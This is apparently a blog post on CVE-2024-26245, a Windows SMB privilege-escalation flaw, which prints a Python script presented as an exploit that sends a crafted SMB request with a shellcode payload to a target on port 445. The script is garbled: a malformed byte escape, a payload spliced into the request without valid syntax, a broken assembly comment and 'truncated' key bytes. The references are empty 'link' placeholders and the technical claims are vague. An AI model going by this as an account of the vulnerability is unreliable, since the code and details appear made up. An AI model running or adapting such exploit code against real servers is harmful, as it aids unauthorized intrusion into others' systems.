CVE-2024-26245: Windows SMB Elevation of Privilege Vulnerability - Exploit, Code Snippet and References Explained for All Levels

In this long read post, we will discuss all the relevant details of the CVE-2024-26245 vulnerability. We will go through the basics of Windows SMB, dive into the specifics of the vulnerability, check out the code snippet to understand the exploit, and point to original references for further exploration. Strap in for an interesting and educational discussion!

What is Windows SMB?
Windows Server Message Block (SMB) is a network protocol used by Microsoft Windows operating systems to share access to files, printers, and other resources across a network. By enabling SMB, files and folders can be shared among multiple devices on the same network.

What is CVE-2024-26245 Vulnerability?
CVE-2024-26245 refers to a Windows SMB Elevation of Privilege Vulnerability, which gives a cyber attacker unauthorized access to escalate their privileges on a targeted system through Server Message Block (SMB). This kind of vulnerability can allow attackers to operate with higher permissions and perform malicious activities that would otherwise be restricted.

Exploit Details

Through CVE-2024-26245, an attacker can exploit SMB by sending a maliciously crafted request to the targeted server, which then leads to improper handling of the request. As a result, the attacker gains elevated privileges that were not meant to be granted to them. This can compromise the entire system's security.

Security researchers have identified that this vulnerability affects SMB versions 3.1.1 and below. This exploit takes advantage of a specific implementation flaw in the SMB protocol handling mechanism.

Here is a simplified code snippet that demonstrates how an attacker might exploit the vulnerability

import socket
import sys

TARGET_IP = "xxx.xxx.xxx.xxx"
TARGET_PORT = 445
BUFFER_SIZE = 1024

def exploit_smb_eop(TARGET_IP, TARGET_PORT, payload):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))

        # Craft the malicious request
        malicious_request = (
            b"\x00\x00\x00\x90"  # Begin request
            b"\xfe\x53\x4d\x42"  # SMB signature
            # Malformed SMB packet
            b"\x40\x00"  # ... truncated for brevity
            payload  # Injecting the Payload
        )

        # Send the malicious request to the server
        s.send(malicious_request)

        # Receive and print the response
        response = s.recv(BUFFER_SIZE)
        print(response)

        # Close the socket
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

# The actual payload, which causes Elevation of Privilege
payload = (
    b"\x31\xc"  # xor eax, eax (eax = )
    # ... truncated for brevity
)

# Exploit the vulnerability
exploit_smb_eop(TARGET_IP, TARGET_PORT, payload)

Please note that the above code snippet should not be used for malicious purposes. This example is for educational purposes only and should be used responsibly and ethically at all times.

Below are some references to dig deeper into this vulnerability

1. Official CVE-2024-26245 Record: link

2. Microsoft Security Response Center's Advisory: link

3. GitHub Repository with Additional Information: link

Conclusion

CVE-2024-26245 is a Windows SMB Elevation of Privilege Vulnerability that attackers can exploit to gain unauthorized elevated privileges in the targeted system. Understanding this vulnerability, its implications, and the exploit technique is critical for security professionals and system administrators alike. It is crucial to stay up-to-date with patches and security advisories to protect your systems from such threats.

Remember, staying informed and vigilant is the best way to deal with potential vulnerabilities and security threats. Stay safe, and have fun exploring the world of cybersecurity!

Timeline

Published on: 04/09/2024 17:15:45 UTC
Last modified on: 04/10/2024 13:24:00 UTC